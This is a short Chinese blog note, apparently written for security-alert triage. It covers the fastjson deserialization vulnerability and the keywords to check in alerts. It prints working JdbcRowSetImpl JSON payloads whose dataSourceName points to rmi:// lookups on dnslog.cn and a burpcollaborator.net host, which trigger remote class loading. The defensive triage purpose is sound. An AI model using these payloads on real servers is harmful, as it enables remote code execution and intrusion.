fastjson反序列化漏洞

++++fastjson漏洞利用原理++++**

在请求包里面中发送恶意的json格式payload,漏洞在处理json对象的时候,没有对@type 字段进行过滤,从而导致攻击者可以传入恶意的TemplatesImpl类,而这个类有一个字段就是_bytecodes,有部分函数会根据这个_bytecodes生成java实例,这就达到fastjson通 过字段传入一个类,再通过这个类被生成时执行构造函数

++++初研判:++++**

产生这个告警的时候着重查看原始事件里面的payload看是否有json格式的文件或者json的其他字段,或者看响应包里有无json格式或者fastjson,或者是否有_bytecodes 和dnslog关键字。

看是否会出现toJSONString() 和 parseObject() 方法关键字(这俩方法可以将 Java 对象与 JSON 相互转换)

++++告警示例图:++++**

抓包登录界面添加了字符破环原始json数据发现为fastjson

++++fastjson反序列化相关payload++++**

{

"a":{

"@type":"java.lang.Class",

"val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://dnslog.cn/zcc",

"autoCommit":true

}

}

  1. 驱动JdbcRowSetImpl库;
    2、通过设置dataSourceName属性传参给lookup()方法;
    3、通过设置autoCommit属性来触发执行最终的lookup()方法。
    按照上面的例子,就可以构造出:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://vvui5lzoq6556fmj4al3ighsrjxalz.burpcollaborator.net/Exploit","autoCommit":true}

着重查看标红关键字 rmi.class是Java的类文件,相较来说是恶意的

相关推荐
天天爱吃肉821813 小时前
# 商用车多体动力学实战笔记|第7篇:制动系统与制动热衰退、ABS滞环控制
大数据·人工智能·笔记·python·嵌入式硬件·汽车
xiaoyuchidayuma14 小时前
【交流绕组及其磁动势-典型交流绕组结构(绘制绕组展开图)】
笔记·学习
崔高杰14 小时前
【自动阅读笔记】Inference-Time Scaling for Generalist Reward Modeling
人工智能·笔记·机器学习
chenzhou__16 小时前
独立游戏开发日志 ①:从信号博弈到涂色对战——一次玩法重构始
笔记·后端·学习·unity·go·独立游戏
杨先生哦16 小时前
【2026热端攻防系列 11/12】前端AI风控攻防实战:验证码缺陷、人机验证绕过、智能爬虫对抗与企业智能风控加固方案
前端·人工智能·笔记·爬虫·安全
摇滚侠16 小时前
《SpringBoot 3:入门与应用实战》第 15 章 生产级特性 使用监控体系 阅读笔记
spring boot·笔记·后端
我叫唧唧波16 小时前
【Java】Java 基础系统学习笔记
java·笔记·学习
晓梦林1 天前
BUUCTF findKey-学习笔记
笔记·学习
x17388062731 天前
XXE外部实体注入
xml·笔记
库玛西1 天前
C++ 运行时多态 :核心总结与原理图解
c语言·c++·笔记